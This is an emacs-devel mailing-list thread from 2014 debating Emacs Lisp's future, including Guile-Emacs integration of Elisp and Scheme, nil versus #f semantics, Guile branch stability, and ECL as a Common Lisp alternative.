[Taylan Ulrich Bayirli/Kammer]

Stefan Monnier <monnier@iro.umontreal.ca> writes:

> Interoperability between languages is *hard*.  Doing it so the result
> is lightweight and elegant (and moderately efficient) is rarely
> possible.

Well, the Elisp and Scheme integration is pretty great.

Maybe you know all of the following, but for those who didn't:

- There's no data type conversion because the same object in memory is
  the right type in both languages, including procedures/functions.

- A convenient `import-guile-module' syntax in Elisp could be
  implemented relatively trivially, which would walk a module and put
  procedure bindings into the function namespace and other bindings into
  the variable namespace of Elisp (both with a user-provided prefix).
  So you can have the API of any Guile module in Elisp as if it were
  just an Elisp library.

- There's simply no efficiency issue.  After you import something from
  the other language, you just have it; it's indistinguishable from
  something you defined in the current language, analogous to how C
  implemented functions (subrs) are generally indistinguishable from
  Elisp implemented functions; they're now all "libguile procedure
  objects."

- I can trivially import the Elisp function and variable namespaces in
  Scheme code with a pair of different prefixes.  I then have the whole
  Elisp API in my Scheme code, sans Elisp macros.

And here some issues, maybe-issues, and non-issues we have:

- Currently strings are an exception to the first point.  I hope that
  won't be too difficult to fix.

- The handling of nil vs. Scheme #f and '() is admittedly a wart, but
  will probably remain hidden, not causing issues in code you write.

- Currently Guile's Elisp implementation is buggy and slow in some
  things, but this is unrelated to the interoperation of the languages.

- Conceptually, Scheme macros can work in Elisp.  Might need some work
  to actually make this work, or it might be trivial; I don't know.

- The biggest long-term issue might be that Elisp macros will not work
  in Scheme, and this is relevant only to people who want to use Elisp
  APIs in Scheme, not affecting Elisp users.

If Guile-Emacs succeeds, you really will be able to

(import-guile-module (gl) gl-)  ;`gl-' is the prefix

and write OpenGL code in Elisp.

You can probably already do that in the current state of Guile-Emacs,
except that `import-guile-module' needs to be implemented; for now you
can individually do e.g.:

(defalias 'gl-set-draw-buffer (guile-ref (gl) set-gl-draw-buffer))


I think this is worth pursuing.  It opens Emacs to a whole new world.
Yes, a lot of work needs to be done, but I see no fundamental problems.

If some Emacs developers gave Guile-Emacs some love, it might land in a
couple years I'd guess, and by then Guile will possibly have some form
of just-in-time and/or ahead-of-time native compilation for Elisp as
well as Scheme...


Taylan

Re: Emacs Lisp's future

[Stefan Monnier]

> Well, Emacs is a text editor.  The CPU demands of the task haven't
> increased that much over the last 10 years either.

Remember when Emacs was the big&slow editor?  Now compare Emacs to
Eclipse and you'll see that the resources that can be used for "text
editing" are ... limitless


        Stefan

Re: Emacs Lisp's future

[Phillip Lord]

Eli Zaretskii <eliz@gnu.org> writes:

>> From: phillip.lord@newcastle.ac.uk (Phillip Lord)
>> Date: Wed, 17 Sep 2014 14:54:22 +0100
>> Cc: emacs-devel@gnu.org
>> 
>> > - machines still did get faster over the last 10 years (much less so
>> >   than over the preceding 10 years, but also probably much more so than
>> >   over the next 10 years).
>> 
>> Well, Emacs is a text editor. The CPU demands of the task haven't
>> increased that much over the last 10 years either.
>
> You are wrong here.  Emacs 23 added many CPU-intensive features, like
> visual-line-mode.  Emacs 24 added bidirectional display, which makes
> redisplay need roughly twice as much juice as Emacs 23 needed.  And
> these are only two examples that pop up in my head after a 3-sec
> thought; I'm sure there are more.
>
> So it's not like we use up every additional CPU cycle the chips are
> giving us, but we are certainly using significantly more than we did
> 10 years ago.


What can I say? I don't sit around waiting for emacs to do stuff
nowadays when I am using it. And I've just implemented a package that
copies, then searches and replaces an entire buffer on every keypress.
And I don't notice it running for moderate size files.

The manual talks about the performance danger of overlay, but I've just
put an overlay an every word in a 300 line buffer, and I can't notice
that either.

Even though Emacs now takes considerably more than Eight Megabytes, it
is not Constantly Swapping. CPU has grown quicker than Emacs demands.

Phil

Re: Emacs Lisp's future

[David Kastrup]

Mark H Weaver <mhw@netris.org> writes:

> David Kastrup <dak@gnu.org> writes:
>
>> mhw@netris.org writes:
>>
>>> David Kastrup <dak@gnu.org> writes:
>>>
>>>> That's not all that much manpower.  If you take a look at the commits in
>>>> the master branch that are not merges from the stable branch, I think
>>>> that more than 90% are from Andy Wingo.
>>>
>>> That's an interesting way to pretend that Ludovic and I don't exist, by
>>> excluding merges.
>>
>> Work on the stable branch is supposedly maintenance rather than
>> forward-looking development.
>>
>> It's actually a good sign for a project's stability if more people work
>> on maintenance than on new things.  But I was commenting on the amount
>> of manpower getting work done on new things.
>
> Plenty of "new things" have been added to the stable-2.0 branch.
> Just read the NEWS file for 2.0.
>
>   http://git.savannah.gnu.org/gitweb/?p=guile.git;a=blob_plain;f=NEWS;hb=stable-2.0

That also lists plenty of things that have been _removed_ during the
stable-2.0 branch, breaking existing uses of it:

    Making the vector interface operate only on a single representation will
    allow future versions of Guile to compile loops involving vectors to
    more efficient native code.

    ** 'htons', 'htonl', 'ntohs', 'ntohl'

    These procedures, like their C counterpart, were used to convert numbers
    to/from network byte order, typically in conjunction with the
    now-deprecated uniform vector API.

    This functionality is now covered by the bytevector and binary I/O APIs.
    See "Interpreting Bytevector Contents as Integers" in the manual.

    ** 'gc-live-object-stats'

    It hasn't worked in the whole 2.0 series.  There is no replacement,
    unfortunately.

    ** 'scm_c_program_source'

    This internal VM function was not meant to be public.  Use
    'scm_procedure_source' instead.


For me personally, LilyPond's ongoing efforts to port to GUILE-2.0 have
been bitten by

    ** `define-public' is no a longer curried definition by default

    The (ice-9 curried-definitions) should be used for such uses.  See the
    manual for details.

It's noteworthy that the replacement (ice-9 curried-definitions) is not
working correctly in the current version of GUILE distributed in Ubuntu
and there are in fact _still_ broken functions in current stable-2.0.

Making a "stable" branch a moving target where functionality gets
removed leads to situations where code linking libguile dynamically
stops working.

That kind of policy would likely also end up to be problematic for
Emacs.

>>> Why should our contributions be excluded just because they start out
>>> on the stable-2.0 branch and later flow to master by way of merges?
>>
>> Would you claim that the stable-2.0 branch is where new developments
>> are generally done?  That would seem like a somewhat unusual
>> development model.
>
> Yes, it's unusual, but whenever possible we add new modules and other
> features to the stable-2.0 branch, so that users of 2.0 will benefit
> from them.  The exceptions are:
>
> * Work related to the new compiler/VM, which have changed substantially
>   on the master branch.
>
> * Disruptive changes that carry a significant risk of adding new bugs.
>
> * Changes that would break API or ABI compatibility.

Like removing functionality or moving it to separate modules?

At the current point of time, GUILE is a project that is mostly catering
for itself, so breaking its own rules whenever it is convenient affects
a limited circle outside of GUILE.  If GUILE wants to posit itself as
basic infrastructure for the GNU project, this setup is going to lead to
more problems than it does now.

-- 
David Kastrup

Re: Emacs Lisp's future

[Taylan Ulrich Bayirli/Kammer]

Eli Zaretskii <eliz@gnu.org> writes:

>> From: Taylan Ulrich Bayirli/Kammer <taylanbayirli@gmail.com>
>> Date: Wed, 17 Sep 2014 15:33:04 +0200
>> Cc: Christopher Allan Webber <cwebber@dustycloud.org>,
>> 	Stefan Monnier <monnier@iro.umontreal.ca>, emacs-devel@gnu.org
>> 
>> Note that Guile-Emacs runs existing Elisp as-is and is basically a
>> drop-in replacement.
>
> But that's not really true, is it?  Just look at the changes made in
> the Guile-Emacs repo to core Lisp files, and you will see what I mean.

It's not a 100% drop-in replacement, that's true.  I'll take a peek what
changes in Elisp files it did; the only one I remember at the moment is
Gnus directly writing out Elisp bytecode somewhere.

> Btw, I admit I don't completely understand what the wiki says about
> the problems with t and nil, but if that means you cannot say in
> Guile-Emacs something like
>
>    (if (eq foo t) ...
>
> then there are more than 700 places in Emacs that will stop working.

(eq foo t) should always work.  (eq foo nil) will only work if that
`nil' came from Elisp code; if it's a Scheme #f or '() in disguise, then
you need to make that (not foo) or (null foo) (both works in both
cases); anything but (eq foo nil).

Taylan

Re: Emacs Lisp's future

[Stefan Monnier]

> That's almost possible already, because there is a Common Lisp
> implementation (say 90% complete) for Emacs, including a compiler from
> CL to Elisp.

Compiling from CL to Elisp means that the two aren't integrated, so
calling code from one to the other is not seamless.


        Stefan

Re: Emacs Lisp's future

[Stefan Monnier]

> Embeddable Common-Lisp (http://sourceforge.net/projects/ecls/) seems alive,
> it is lgpl, so there would be no license issue

Indeed, it looks like it might be a good candidate.


        Stefan

Re: Emacs Lisp's future

[Mark H Weaver]

David Kastrup <dak@gnu.org> writes:

> Mark H Weaver <mhw@netris.org> writes:
>
>> I responded within a day or so, and we had a conversation over the next
>> few days, but quickly ran into the problem that you wanted to change one
>> of our other API procedures in a non-standard way
>
> The "non-standard way" being the exact behavior of the Scheme reference
> implementation for srfi-1.

*sigh*, must we repeat our discussion here on emacs-devel, when it's
already in the bug tracker at http://bugs.gnu.org/17296 ?

To summarize: the spec says it's an error to pass 'length+' an improper
list.  Guile has always returned #f in that case, and existing code may
depend on that.  You want to change it to return the number of pairs in
the improper list.  Yes, that's what the reference implementation does.
I think it's too risky to change Guile's behavior in this case from one
non-error to another non-error, because existing code may silently start
misbehaving, and it would also cause things like (map + - * /) to return
() without reporting any error.

If you want to continue this discussion about 'length+', can you please
respond to my last message at http://bugs.gnu.org/17296 instead of here?

>> Is it really a show-stopper that Guile 2.0 has limitations in the
>> sizes of some expression types?
[...]
> Yes, this can turn into sort of a scalability problem in my book.  And
> Emacs is big.

The problem is fixed on the master branch, which is the only branch that
supports guile-emacs anyway.  So, why are limitations in Guile 2.0
relevant for guile-emacs?

Incidentally, the 'drop-right' scalability problem you complain above
above is also fixed on the master branch, and plenty of others.  The
reason is that our stacks are now automatically expanded as needed,
limited only by the available memory, so we can now write recursive
procedures in a natural way without ugly hacks to make them scalable.

See http://wingolog.org/archives/2014/03/17/stack-overflow for more.

      Mark

Re: Emacs Lisp's future

[David Kastrup]

Taylan Ulrich Bayirli/Kammer <taylanbayirli@gmail.com> writes:

> Stefan Monnier <monnier@iro.umontreal.ca> writes:
>
>> Interoperability between languages is *hard*.  Doing it so the result
>> is lightweight and elegant (and moderately efficient) is rarely
>> possible.
>
> Well, the Elisp and Scheme integration is pretty great.
>
> Maybe you know all of the following, but for those who didn't:
>
> - There's no data type conversion because the same object in memory is
>   the right type in both languages, including procedures/functions.

Uh, no?  In Lisp, functions are bound to the function cell of a symbol
which is different from the value cell of a symbol.  In GUILE, nothing
is bound to a symbol at all.  Modules establish a mapping between
symbols and values, and functions do not have separate mappings from
values.

> - A convenient `import-guile-module' syntax in Elisp could be
>   implemented relatively trivially, which would walk a module and put
>   procedure bindings into the function namespace and other bindings into
>   the variable namespace of Elisp (both with a user-provided prefix).
>   So you can have the API of any Guile module in Elisp as if it were
>   just an Elisp library.

See?

> - There's simply no efficiency issue.  After you import something from
>   the other language, you just have it; it's indistinguishable from
>   something you defined in the current language, analogous to how C
>   implemented functions (subrs) are generally indistinguishable from
>   Elisp implemented functions; they're now all "libguile procedure
>   objects."

That's a misrepresentation since an import does not change the state of
a "libguile procedure object" but rather involves the establishing of
bindings.  The data structures are also not compatible: Lisp lists end
with a value that serves as a _false_ boolean, Scheme lists end with a
value that serves as a _true_ boolean.

> And here some issues, maybe-issues, and non-issues we have:

[...]

> - The handling of nil vs. Scheme #f and '() is admittedly a wart, but
>   will probably remain hidden, not causing issues in code you write.

I have problems seeing how it can remain hidden.

> - Currently Guile's Elisp implementation is buggy and slow in some
>   things, but this is unrelated to the interoperation of the
>   languages.

If it is unrelated to the interoperation of the languages, this would
imply that GUILE itself is buggy and slow.  You might want to reconsider
that statement.

> - Conceptually, Scheme macros can work in Elisp.  Might need some work
>   to actually make this work, or it might be trivial; I don't know.
>
> - The biggest long-term issue might be that Elisp macros will not work
>   in Scheme, and this is relevant only to people who want to use Elisp
>   APIs in Scheme, not affecting Elisp users.

Huh, this actually is a surprise to me since defmacro works pretty much
the same in GUILE/Scheme as it would in Elisp.

> Yes, a lot of work needs to be done, but I see no fundamental
> problems.

The main problem I see is that Emacs is a large project regarding its
code and developer base compared to GUILE and I don't see that GUILE can
easily scale up.

The priorities of Elispers and Schemers regarding language features and
focuses are different, and I don't see overrolling GUILE with the
requirements, code, interests, and developers of Emacs going smoothly.

> If some Emacs developers gave Guile-Emacs some love, it might land in
> a couple years I'd guess, and by then Guile will possibly have some
> form of just-in-time and/or ahead-of-time native compilation for Elisp
> as well as Scheme...

Elisp is not really a special case here since stuff like native
compilation would happen at a decidedly lower layer than the
Elisp/Scheme distinction.  GUILE has a rather impressive number of
compiler layers and it is probably only the top layer that would make a
difference between Elisp and Scheme while something like the two bottom
layers would distinguish between native compilation and bytecode.

-- 
David Kastrup

Re: Emacs Lisp's future

[James Cloos]

>>>>> "SM" == Stefan Monnier <monnier@iro.umontreal.ca> writes:

>> Embeddable Common-Lisp (http://sourceforge.net/projects/ecls/) seems alive,
>> it is lgpl, so there would be no license issue

SM> Indeed, it looks like it might be a good candidate.

It is the lisp which sage supports (they have a funding grant which
requires that sage be installable from source on just about anything
which has an existing C compiler) and the maxima tests consistantly
show it as second only to compiled-to-machine-code lisps like sbcl.

As such, it looks like it will continue to have excellent development
and support for the foreseeable future.

-JimC
-- 
James Cloos <cloos@jhcloos.com>         OpenPGP: 0x997A9F17ED7DAEA6

Re: Emacs Lisp's future

[David Kastrup]

Mark H Weaver <mhw@netris.org> writes:

> David Kastrup <dak@gnu.org> writes:
>
>> Mark H Weaver <mhw@netris.org> writes:
>>
>>> Is it really a show-stopper that Guile 2.0 has limitations in the
>>> sizes of some expression types?
> [...]
>> Yes, this can turn into sort of a scalability problem in my book.  And
>> Emacs is big.
>
> The problem is fixed on the master branch, which is the only branch
> that supports guile-emacs anyway.

Ok, so guile-emacs will not work with the "stable" branch.  If I take a
look at the "master" branch which is the only one supporting
guile-emacs, I see things like

    commit 2c02a21023c946a3d31c43417d440d6babbf2622
    Author: Andy Wingo <wingo@pobox.com>
    Date:   Sun Jun 29 14:29:20 2014 +0200

        Remove namesets.

        This was a failed experiment.  It had good space complexity but terrible
        time complexity.

        * module/Makefile.am: Update.
        * module/language/cps/nameset.scm: Remove.

[...]

    commit ec412d75627aeffbd816ac351eabcd1b533540c6
    Author: Andy Wingo <wingo@pobox.com>
    Date:   Thu Jun 19 08:49:05 2014 +0200

        Rewrite type inference pass to use namesets

        * module/Makefile.am: Build types.scm early, but don't block the rest of
          the build on it.

        * module/language/cps/types.scm: Rewrite to use namesets.

        * module/language/cps/dce.scm:
        * module/language/cps/type-fold.scm: Adapt to interface changes.

    commit 97ed2e77ab22e1695c5c4df6f5f6cfd98b90636f
    Author: Andy Wingo <wingo@pobox.com>
    Date:   Sun Jun 8 18:50:07 2014 +0200

        New module: (language cps nameset)

        * module/language/cps/nameset.scm: New file.
        * module/Makefile.am: Add new file.


which make clear that the master branch in GUILE is _highly_
experimental.  If you take a look at the GUILE developer list archives
at
<URL:http://lists.gnu.org/archive/html/guile-devel/2014-09/threads.html>
and previous months, you'll find that Andy Wingo does not participate in
any discussions there.

So basically GUILE master is his private playground which he works on in
bursts of activity without publicly visible communication.

I don't see that basing Emacs on that kind of setup is remotely
realistic without serious reorganization of how GUILE organizes and
views its development processes.  Emacs is a remarkably _stable_ and
reliable piece of software considering its size and age.

> So, why are limitations in Guile 2.0 relevant for guile-emacs?
>
> Incidentally, the 'drop-right' scalability problem you complain above
> above is also fixed on the master branch, and plenty of others.  The
> reason is that our stacks are now automatically expanded as needed,
> limited only by the available memory, so we can now write recursive
> procedures in a natural way without ugly hacks to make them scalable.

Personally, I don't consider automatically expanding stack size a
"solution" to a routine unnecessarily shoving all elements of an
arbitrarily large data structure interspersed with return addresses onto
a VM stack before processing it.  But then tastes may differ.  I started
programming at a time when I paid the equivalent of €400 for 64kB of
RAM, so throwing RAM at a problem was expensive enough to be habit
forming.

> See http://wingolog.org/archives/2014/03/17/stack-overflow for more.

At any rate, this is again a distraction.  The topic is how suitable
GUILE is for turning into the Lisp foundation of Emacs.

And I think that apart from reestablishing that I am a dishonest
manipulative asshole who does not know what he is talking about, we got
some insights into the current state of GUILE development that may help
in refining goals and obstacles in the process of making GUILE the Lisp
implementation underlying Emacs.

-- 
David Kastrup

Re: Emacs Lisp's future

[Lars Brinkhoff]

Stefan Monnier <monnier@iro.umontreal.ca> writes:
> Compiling from CL to Elisp means that the two aren't integrated, so
> calling code from one to the other is not seamless.

I don't know why you say that.  In my implementation it's currently
not entirely seamless, but close, and I can easily imagine ways to
make it so.

But anyway, this is not the time nor the place to discuss that.  It's
not really relevant to what you wrote about Emacs Lisp's future.
Sorry for the noise.

Re: Emacs Lisp's future

[Eli Zaretskii]

> From: Taylan Ulrich Bayirli/Kammer <taylanbayirli@gmail.com>
> Date: Wed, 17 Sep 2014 17:07:20 +0200
> Cc: Phillip Lord <phillip.lord@newcastle.ac.uk>, emacs-devel@gnu.org
> 
> - Currently strings are an exception to the first point.  I hope that
>   won't be too difficult to fix.

Since Emacs is mainly about manipulating text, this is a very
important point, and should IMO be addressed very soon, if Guile-Emacs
is not going to be a pipe dream.  Emacs has a unified infrastructure
for dealing with text in buffers and strings, whereas Guile has only
strings, and the implementation of i18n features for text is too
dependent on the locales support in the underlying libc.

Re: Emacs Lisp's future

[Stefan Monnier]

> > Interoperability between languages is *hard*.  Doing it so the result
> > is lightweight and elegant (and moderately efficient) is rarely
> > possible.
> Well, the Elisp and Scheme integration is pretty great.

These are arguably very closely related languages, so it's a kind of
"best case" scenario.  And even in that scenario, there are significant
dark corners.

Of course, you can learn to program in "Emacs Scheme" fairly quickly
if you're familiar with Scheme, but it's not quite like programming
in Scheme.  And the docstrings can't be trusted because they point you
to Elisp macros you can't use.  And ...

Now, think about what would happen when trying to interoperate with JS,
Python, younameit, ...


        Stefan

Re: Emacs Lisp's future

[Stefan Monnier]

> It is the lisp which sage supports (they have a funding grant which
> requires that sage be installable from source on just about anything
> which has an existing C compiler) and the maxima tests consistantly
> show it as second only to compiled-to-machine-code lisps like sbcl.
> As such, it looks like it will continue to have excellent development
> and support for the foreseeable future.

Sounds good.  If someone wants to look deeper into what it would take to
use ECL in Emacs, that would be very welcome.

There are lots of potential issues in such a project.
A start would be to check:
- does it use its own event loop?
- can it handle conservative stack scanning?
- what other conventions are needed for C code to cooperate with the GC?
- could we do something akin to our "dump"?

Of course, another issue with Common-Lisp integration is that we'd want
to figure out how to integrate the two languages.  So, we'd need to
investigate what are the current incompatibilities.


        Stefan

Re: Emacs Lisp's future

[Nic Ferrier]

David Kastrup <dak@gnu.org> writes:

> And I think that apart from reestablishing that I am a dishonest
> manipulative asshole who does not know what he is talking about, we got
> some insights into the current state of GUILE development that may help
> in refining goals and obstacles in the process of making GUILE the Lisp
> implementation underlying Emacs.

LOL.

Me too.


Nic

Re: Emacs Lisp's future

[Lars Brinkhoff]

Jorgen Schaefer <forcer@forcix.cx> writes:
> - Lack of a common structured datatype.

That was what I was saying a year ago.  My offer to work on this still
stands.

Re: Emacs Lisp's future

[Taylan Ulrich Bayirli/Kammer]

David Kastrup <dak@gnu.org> writes:

>> - There's no data type conversion because the same object in memory is
>>   the right type in both languages, including procedures/functions.
>
> Uh, no?  In Lisp, functions are bound to the function cell of a symbol
> which is different from the value cell of a symbol.  In GUILE, nothing
> is bound to a symbol at all.  Modules establish a mapping between
> symbols and values, and functions do not have separate mappings from
> values.

I'm not talking about the language-semantic locations of objects, rather
that for example the same "physical" object in your RAM is at the same
time an Elisp function, and a Scheme procedure.  `functionp' and
`procedure?' both check for the same data type.  (Likewise for other
types.)  No mutation, packing, serialization/deserialization, or any
other things needs to happen to a byte sequence in memory for it to be
usable from either language.

There's probably a simpler way to word what I have in mind and it's
currently escaping me; hope this was clear enough.  :)

>> - There's simply no efficiency issue.  After you import something from
>>   the other language, you just have it; it's indistinguishable from
>>   something you defined in the current language, analogous to how C
>>   implemented functions (subrs) are generally indistinguishable from
>>   Elisp implemented functions; they're now all "libguile procedure
>>   objects."
>
> That's a misrepresentation since an import does not change the state of
> a "libguile procedure object" but rather involves the establishing of
> bindings. [...]

Yes?  I'm just saying that once you put a libguile procedure into the
function slot of an Elisp symbol, it's indistinguishable from an Elisp
function or a subr being in that slot.  There is no overhead while
calling it.  (Elisp functions are compiled into libguile procedures
anyway.)

Actually, this is just a special-case of the first point, regarding the
applicable data type (libguile procedures) being handled in a uniform
way without extra overhead in the case it "comes from the other
language."

>> - The handling of nil vs. Scheme #f and '() is admittedly a wart, but
>>   will probably remain hidden, not causing issues in code you write.
>
> I have problems seeing how it can remain hidden.

Please mention any concrete problematic cases you can think up.

>> - Currently Guile's Elisp implementation is buggy and slow in some
>>   things, but this is unrelated to the interoperation of the
>>   languages.
>
> If it is unrelated to the interoperation of the languages, this would
> imply that GUILE itself is buggy and slow.  You might want to reconsider
> that statement.

It implies Guile's Elisp implementation is buggy and slow.  That is one
unfinished component of Guile.

(The main body of the Elisp implementation that powers Guile-Emacs
resides within Guile itself; I think some key Emacs data types like
buffers and windows are missing if you use it purely from Guile instead
of running Guile-Emacs, but you can use it as a general-purpose
language.)

>> - The biggest long-term issue might be that Elisp macros will not work
>>   in Scheme, and this is relevant only to people who want to use Elisp
>>   APIs in Scheme, not affecting Elisp users.
>
> Huh, this actually is a surprise to me since defmacro works pretty much
> the same in GUILE/Scheme as it would in Elisp.

The problem is that the Elisp macro will just output, say, the symbol
`mapc' into the middle of your Scheme code, where it will not be bound
to the Elisp `mapc' function during subsequent compilation.

Of course, you can otherwise use defmacro in Scheme, though it's highly
discouraged since you have hygienic macros, which guarantee correct
bindings.

>> Yes, a lot of work needs to be done, but I see no fundamental
>> problems.
>
> The main problem I see is that Emacs is a large project regarding its
> code and developer base compared to GUILE and I don't see that GUILE
> can easily scale up.

Matters such as portability and bug-fixing speed which are related to
"manpower" seem open to improvement indeed.  I think that would actually
be a way in which the Guile-Emacs effort would pay back to Guile.

If I'm not mistaken, adopting ECL or some other foreign piece of
software would mean that the upstream developers of it aren't guaranteed
to cooperate, which could be problematic despite the overall maturity of
that piece of software.

Guile on the other hand is GNU software; it's the official GNU extension
language that's being massively revitalized to be worth of its name.
GCC, GDB, and more can be extended in Guile.  It's tied with Guix as
well; the package manager for the upcoming official GNU distribution.
After so many years, things are really getting together in technical
terms in the GNU project, and Guile is what's pulling it all together.
That's why I'm so interested in Guile myself, and think that Emacs just
ought to be a part of this as well.  There is some massive potential
here for the whole of the GNU system getting a lot more attention, and
Emacs itself will benefit from it greatly.

One needs to give it time of course, but I think it's the right
direction, and is what will be most beneficial to Emacs individually as
well in the long term, in case one doesn't care about GNU.

And of course, a large portion of the work is already done here.
Another option would mean starting from scratch.

> The priorities of Elispers and Schemers regarding language features and
> focuses are different, and I don't see overrolling GUILE with the
> requirements, code, interests, and developers of Emacs going smoothly.

The priorities of Elispers seem extremely diverse.  People hacked up web
servers with Elisp and seem motivated to do crazier things.  All the
Guile libraries should be welcome.

>> If some Emacs developers gave Guile-Emacs some love, it might land in
>> a couple years I'd guess, and by then Guile will possibly have some
>> form of just-in-time and/or ahead-of-time native compilation for Elisp
>> as well as Scheme...
>
> Elisp is not really a special case here since stuff like native
> compilation would happen at a decidedly lower layer than the
> Elisp/Scheme distinction.  GUILE has a rather impressive number of
> compiler layers and it is probably only the top layer that would make
> a difference between Elisp and Scheme while something like the two
> bottom layers would distinguish between native compilation and
> bytecode.

Precisely.  I just meant to stress out that whatever nifty low-level
features Guile will improve on, Elisp, Scheme, and other languages on
Guile will benefit from them automatically.

Taylan

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

    Thinking of Emacs as an entire ecosystem, most of Emacs is already
    maintained independently from either Emacs core or GNU ELPA.

That is a shocking statement -- is it really true?

-- 
Dr Richard Stallman
President, Free Software Foundation
51 Franklin St
Boston MA 02110
USA
www.fsf.org  www.gnu.org
Skype: No way! That's nonfree (freedom-denying) software.
  Use Ekiga or an ordinary phone call.

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

    I thought that Guile is the annointed extension language of GNU
    projects.

Yes, it is.  Guile is the direction we should go, if at all possible.

-- 
Dr Richard Stallman
President, Free Software Foundation
51 Franklin St
Boston MA 02110
USA
www.fsf.org  www.gnu.org
Skype: No way! That's nonfree (freedom-denying) software.
  Use Ekiga or an ordinary phone call.

Re: Emacs Lisp's future

[Lars Magne Ingebrigtsen]

As Lamba The Ultimate notes in http://lambda-the-ultimate.org/node/5048,
this has been picked up by Hacker News.  I haven't read any of the
comments there myself, so it may or may not be of interest:

https://news.ycombinator.com/item?id=8328206

-- 
(domestic pets only, the antidote for overdose, milk.)
   bloggy blog: http://lars.ingebrigtsen.no

Re: Emacs Lisp's future

[Stefan Monnier]

>> It is the lisp which sage supports (they have a funding grant which
>> requires that sage be installable from source on just about anything
>> which has an existing C compiler) and the maxima tests consistantly
>> show it as second only to compiled-to-machine-code lisps like sbcl.

Note that this speed is probably only for "compiled code".
ECL has two evaluation methods:
- "byte-code interpreter".
- "compilation to native code via C" (requires a local installation of
  a C compiler).

I just tried a silly microbenchmark to get an idea of the byte-code
interpreter's performance:

   (let ((x 0)) (dotimes (i 10000000) (setq x (- i x))) x))

and on my machine, it took 3.5s compared.  This isn't super-fast
compared to Emacs-24.3 which takes 6.7s in the purely interpreted case
and 1.7s in the byte-compiled case.

Of course, this is a silly benchmark, but I think this indicates that
ECL focuses on performance of compiled code (the above silly code runs
in 0.7s when compiled, FWIW).


        Stefan

Re: Emacs Lisp's future

[Daniel Colascione]

[-- Attachment #1: Type: text/plain, Size: 1306 bytes --]

On 09/17/2014 01:11 PM, Taylan Ulrich Bayirli/Kammer wrote:
> Actually, this is just a special-case of the first point, regarding the
> applicable data type (libguile procedures) being handled in a uniform
> way without extra overhead in the case it "comes from the other
> language."
> 
>>> - The handling of nil vs. Scheme #f and '() is admittedly a wart, but
>>>   will probably remain hidden, not causing issues in code you write.
>>
>> I have problems seeing how it can remain hidden.
> 
> Please mention any concrete problematic cases you can think up.

Imagine the round trip a value might take: #f in Scheme to nil in elisp
to something back in Scheme. If you alias #f, (), and nil together from
an elisp perspective, then when you need to differentiate these values,
you can't, because you've just thrown away the information you'd need to
do that. You can't make the object's true identity a hidden property of
the value either, because that breaks perfectly valid code like this:

  (defun identity-x (x) (if (eq x nil) nil x))

I'd be happy to use the lower-level portions of Guile for compiling
elisp more efficiently, but I'm adamantly against trying to support both
Scheme and elisp simultaneously. All in all, I think the effort would be
better spent elsewhere.


[-- Attachment #2: OpenPGP digital signature --]
[-- Type: application/pgp-signature, Size: 819 bytes --]

Re: Emacs Lisp's future

[Daniel Colascione]

[-- Attachment #1: Type: text/plain, Size: 1582 bytes --]

On 09/17/2014 04:17 AM, Phillip Lord wrote:
> Stefan Monnier <monnier@iro.umontreal.ca> writes:
>> First, of course we can keep on evolving Elisp on its own.  This has
>> worked OK for the last 30 years, so it's not such a terrible choice.
>> The main problems I see with that:
>> - Elisp is slow and as CPUs aren't getting faster, its slowness makes itself
>>   noticed more often.
> 
> I've been going through some 10 year old elisp of mine recently. The
> thing that surprises me is how many times I mention performance in it. I
> rarely worry about this these days. Elisp performance as is seems rarely
> an issue.
> 
> Where I would say that there is an issue is that too much of Emacs is
> written in C. Having a faster elisp would allow moving more into lisp
> and thus having more of Emacs extensible dynamically.
> 
>> - Lack of some features, most notably FFI and concurrency.
>> - Lack of manpower.
> 
> I'd add a fourth. People who want to extend Emacs for their own purposes
> have to learn it. Having JS extensibility would be an enourmous win.

...until the next fad comes along, at which point JS becomes a
liability. Popular environments come and go. JS is hip now; Lua, Python,
Ruby, and lots of other languages see interest rise and fall according
to fashion, taste, and the Hacker News ranking algorithm. Who knows
which languages will be popular in a few years?

Emacs Lisp has been here and has kept almost complete source
compatibility for decades and has been completely immune to these fads.
Let's maintain this tradition.


[-- Attachment #2: OpenPGP digital signature --]
[-- Type: application/pgp-signature, Size: 819 bytes --]

Re: Emacs Lisp's future

[James Cloos]

>>>>> "SM" == Stefan Monnier <monnier@iro.umontreal.ca> writes:

SM> Note that this speed is probably only for "compiled code".

I hadn't realized that ecls compiled the lisp, and as you suspected
maxima's install routine does compile itself when using ecls, just as
it does when using sbcl.

But it would be cool to have elisp compiled to fasl files.  The main
code could be compiled and linked as a library, rather than dumped.

-JimC
-- 
James Cloos <cloos@jhcloos.com>         OpenPGP: 0x997A9F17ED7DAEA6

Re: Emacs Lisp's future

[Stefan Monnier]

> Imagine the round trip a value might take:

There's no translation involved, so no "round-trip" problem.
Instead the problem is that there are new kinds of data.  These can come
from Scheme and look weird from the Elisp side.

Basically, Scheme has #f, (), and nil as 3 distinct objects.
So Guile-Emacs picked one of those as being Elisp's nil, so as long as
you stay all within Elisp things work just fine (presumably), but as
soon as some Scheme gets into the picture you might get new values which
are similar to nil but aren't `eq' to it.

> I'd be happy to use the lower-level portions of Guile for compiling
> elisp more efficiently, but I'm adamantly against trying to support both
> Scheme and elisp simultaneously.

I tend to agree.  But I'm not sure it's easy to really stay 100% within
Elisp with a Guile-VM.  E.g. I suspect some errors signals coming from
Guile's runtime will end up using Scheme-style data and will end up
spilling into the Elisp side if we're not extra careful.


        Stefan

Re: Emacs Lisp's future

[David Kastrup]

Daniel Colascione <dancol@dancol.org> writes:

> On 09/17/2014 01:11 PM, Taylan Ulrich Bayirli/Kammer wrote:
>> Actually, this is just a special-case of the first point, regarding the
>> applicable data type (libguile procedures) being handled in a uniform
>> way without extra overhead in the case it "comes from the other
>> language."
>> 
>>>> - The handling of nil vs. Scheme #f and '() is admittedly a wart, but
>>>>   will probably remain hidden, not causing issues in code you write.
>>>
>>> I have problems seeing how it can remain hidden.
>> 
>> Please mention any concrete problematic cases you can think up.
>
> Imagine the round trip a value might take: #f in Scheme to nil in elisp
> to something back in Scheme.

It doesn't.

See
<URL:https://www.gnu.org/software/guile/manual/html_node/Nil.html#Equality-2>.
I quote:

    However, in Elisp, '(), #f, and nil are all equal (though not eq).

